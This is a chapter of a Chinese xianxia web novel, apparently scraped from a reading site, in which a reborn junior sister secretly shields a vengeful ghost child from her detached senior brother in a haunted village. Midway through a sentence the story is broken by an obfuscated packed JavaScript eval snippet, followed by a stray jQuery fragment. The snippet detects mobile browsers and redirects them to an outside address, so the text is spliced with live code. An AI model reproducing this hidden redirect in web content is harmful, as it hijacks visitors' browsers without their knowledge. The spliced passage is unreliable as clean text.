6. 回阴村(五)
作品:《无情道师兄是恋爱脑[重生]》 那孩子八九岁的样子,眼神里却无半点童真,即便脸上挂着笑,那双眼珠却也是黑洞洞的。
最主要的还是那双眼睛。
沈晚棠同那孩子说了一会儿话,全程下来他从未眨过眼,凡人长时间不眨眼按理说会觉得眼睛不适,可那孩子并无不适。
除非,他不是凡人。
沈晚棠把自己的想法和沈卿言说了一遍。
沈卿言不置可否道:“回阴村不知何时开始,已经变成了一处鬼村。钱氏夫妇罪孽缠身,他们的身体这些年来早被恶魂拖累,必死无疑。”
或许从一开始回阴村就是个鬼村,只是师兄不知道罢了。
沈晚棠点了点头没说话。
前世的他们并没有掺合这么多事。
当时师兄挡住了她的剑,村民们又是求饶又是赔笑说着好话,师兄便原谅了张氏夫妇和这些村民。
他这么聪明的人,分明一眼就能看出他们的不对劲,也深知她被凡人算计,可他无动于衷,不会为了她对百姓怎样。
她也不奢求什么。
只是不明白,不明白师兄为什么总是这样……
她并非想杀人,可却连一句质问为什么的资格都没有。
按照师兄的话来说,大概是——
天道掌人之善恶,凡人作恶自有天收,死后入无间地狱受烈火焚烧之苦,千年不入轮回。
所以师兄从不杀人,他只为斩妖除魔庇佑百姓而存在,不论他要护的百姓是善还是恶。
他便是他,这样几乎与天道一样无情的他,才是她的师兄。
后来,他们也受张氏夫妇所邀,住进了张家。
当晚魔兽汹涌,上百只魔兽命丧师兄的问心剑下。
血流成河,雪衣换血衣。
清冷的月色将师兄衬得如同地狱修罗般。
杀了那么多的魔兽,身上沾满了鲜血,可他却依然面不改色,平常得就好像只不过是随手杀了一些不知死活的畜牲罢了。
张氏夫妇回来看见的便是这么一幕。
看着那样的师兄,两个凡人瞬间吓破了胆,根本经不住逼问,什么都和盘托出了。
于是师兄去探了河底,发现了一丝魔气的痕迹,顺着魔气,师兄怀疑到了她……
当时师兄的脸色是前所未有的冷,像是真的生气了,强行探脉。
也难怪她入魔那天师兄会杀死她了。
他根本容忍不了他亲手教导的师妹叛出师门沦为魔族。
她想得入神,丝毫没注意师兄的手突然探了过来。
直到微凉的指腹搭上她的脉,她倏地缩回手,犹如惊醒的林中鸟,瞬间回到自己安全的领域。
她抬眸对上师兄显然微怔的黑眸,不动声色将手腕置于腿上。
本是件寻常的事。
沈卿言此刻却要斟酌语句,动唇道:“你的灵力可有恢复?”
“师兄放心,已然无碍。”沈晚棠还是笑着的,如从前一样乖顺听话。
说完后,她起身道:“师兄若是无其他事,我先进屋休息了。”
“嗯。”
沈卿言低声应,半垂着眸,叫人看不出情绪。
唯独藏在桌下的手指微微摩挲。
他不禁想到——
师妹似乎已经十六了?
凡间有句话。
儿大避母,女大避父。
而他作为兄长,或许也当是如此。
深夜。
“嘭!嘭!嘭!”
尖锐利器砍着木门的声音刺入沈晚棠耳膜。
“摇啊摇啊摇,摇到美人湖。”
“阿爷戏水把船翻,阿姐哭着咧嘴笑!”
“我说阿姐你真美,阿姐却要我陪她!”
“奇怪真奇怪,嘻嘻嘻嘻嘻……”
沈晚棠侧躺在床,听着诡异的童谣缓缓抬眸。
那人似乎知道她醒了,又笑着问:“阿姐,你知道美人湖是什么吗?”
沈晚棠嗤笑一声,字字诛心:“你的埋骨地。”
恶鬼:“……”
仿佛受到了耻笑,他砍门的力道更急更大了,直到门被他砍出个大洞。
他嘻嘻笑着踏进来半步。
危险来临,沈晚棠反而背过身去。
“你以为弄个鬼打墙我师兄就发现不了你?”少女冷淡的嗓音在夜里掷地有声,“不想死就滚出去,你该杀的不是我。”
恶鬼不以为意,反而质问:”不该杀你,那我该杀谁呢?你们都该死!”
他小小的身躯握着菜刀已经走到了沈晚棠身后,两手高举菜刀,浅薄的月光将他的影子映在墙上。
沈晚棠静静看着,声音仿佛带着无形的蛊惑:“这些自私自利令人生厌恶心的村民都该死。”
此话一出,墙上的影子僵住了。
恶鬼闭了嘴,收了菜刀。
他垂着头往回走。
两行泪不自觉从他眼眶流下,泪珠越滚越大,犹如泣血。
同为女子。
这个人是明白她的……
这个人懂她的痛苦……
她操控着男孩的手,触上残缺的木门,试图消除力量,让这里恢复正常。
身后却再次传来声音:“我师兄在门外等着你,一旦鬼打墙消失,他会一剑杀了你。”
沈晚棠突然翻身下床,在她茫然的目光下,把“他”拽过去藏在被子里。
恶鬼呵呵一笑:“我早就死了,还怕他?”
沈晚棠的冷眸瞥向“他”。
“我师兄的剑,是天下最厉害的剑。”
“妖、魔、鬼,乃至真神,皆可一剑杀之。不论谁,只要死在他剑下,来世即便投胎身上也会有一道疤。”
“你也可以把这道疤称之为另一种意义上的天罚。”
恶鬼闻之一震。
她有过耳闻,听说无虚宗出了个无心之人,乃是天道的化身,是这世间的审判者。
而他的名字是……沈卿言。
恶鬼不敢再造次。
因为很快她见识到了厉害。
鬼打墙消失了。
沈卿言的剑穿透了木门,剑尖堪堪停在沈晚棠的心口前。
鬼气突然消失。
一门之隔,他闻到了师妹身上独有的淡淡海棠花香。
闻到熟悉的气味,他的心莫名安定下来。
他收了剑,打开门,视线于黑暗中上下扫了一眼沈晚棠。
随后,目光落在她的床上,问:“他来了。”不是疑问,而是平静的陈述与笃定。
沈晚棠后退几步,挡住他的视线。
她的身上未披外衣,只穿了单薄的几件衣裳,衬得她身姿要比平日里更瘦些。
她挡在他面前,很难挡住他的视线。
便指着一个方向,开口道:“师兄,他方才被你一吓跳窗逃走了。”
“你想救一只恶鬼?”
沈卿言的黑眸沉沉盯着她的脸,仿佛已然识破了她的伎俩。
一种无形的压迫落在她的身上。
她有些无辜,轻声道:“师兄为何不信我?他确实已经走了,师兄若再不去追恐怕来不及了!”
沈卿言不信
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280873|166823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,大步越过她,一把掀开被子。
他道:“至纯至善自然好,可若是善到纵恶行凶,就是愚不可及。”
借着银辉,他回头看去——
里面空无一人。
“师兄,你早知他会过来自寻死路所以一直等着,我若真想救他,白天的时候就可以直接告诉她。”
沈晚棠有些失落,语气也低了下来,自嘲一笑:“师兄总是相信自己的感知与判断,从不曾相信过我。”
这话无端勾起了沈卿言许多回忆,他的黑眸在夜色中泛着幽幽的光。
他希望师妹能早日修成无情道,早入仙途。
当小姑娘扬着明媚的笑寻来时,他只会问她:“今日可有悟出什么?”
于是,小姑娘的笑颜不见了。
局促不安的把手里的东西藏在身后。
像这样的回忆有许多,可不知道为什么,他会记得这么清楚,就连师妹每个代表着情绪的神情他都记得。
虽然记得,却无法理解,更无法共情。
就如此刻,他看着师妹,无话可说。
随后,师兄追了出去。
沈晚棠看着他离去的方向,脸上的任何情绪都瞬间消失不见。
眼底的温顺良善似被冰霜凝结。
她想,师兄想救谁,她便杀了谁。
早在鬼打墙消失的那一刻,她就已经用符把恶鬼送走。
此刻的钱家,大概只有死人了。
也的确如她所料。
沈卿言踏入院中,浓重的血腥味朝他袭来。
他的心中隐隐有了不好的预感。
他一步一步靠近泥屋,手中的问心剑攥在手中,一道寒光折射在木门上。
“嘎——”
推开门,常年失修的木门发出怪异的声响。
门推到一半,似是撞到了什么突然停住。
他垂眼看去,是一个小孩的腿骨。
是那个孩子——他死了。
或者说,他早就死了——那只恶鬼逃了。
往里深入,剑尖挑开盖在地上的大红衣料——嫁衣。
嫁衣下盖着的是钱氏颤抖的身体,她躺在地上抽搐不停。
再挑开挡住她脸的大喜红盖头,露出那张被烧伤毁容的脸。
钱氏瞪着一只眼睛直勾勾看着居高临下的沈卿言,哆嗦着手指着床上。
因为惊吓过度,以及舌头也被烧伤过,她说不出话来。
沈卿言不需要她说话,他知道她想说什么。
她想说,她的丈夫死在了床上。
他现在只在意两点:
人怎么死的?恶魂逃去了哪?
他的目光无意间落在了钱氏染血的手上。
这里三个人,男人身中数刀,女人虽然完好,手上却全是血。
至于孩子,不过是个器皿。
“听说过因果论吗?”
沈卿言的剑尖上是红艳艳的盖头,他说:“这嫁衣我在张家见过。”
“你们将人沉棺,穿嫁衣,可是在配阴婚?”
“呜呜……”钱氏惶恐的样子似是害怕他会杀了她,于是摇头否认。
“我不杀凡人,你寿数已近,谁也救不了你。”沈卿言的语气始终平淡,仿佛没有任何情绪一样,他说:“但我可以告诉你,你们究竟因何而死。”
待他说完,钱氏的气息也弱了下来。
也许是听完后惊吓而亡,也许真的是生命走到了尽头。
钱氏临闭眼时,沈卿言的两根指节泛着微光,轻扣她的额心。
搜魂。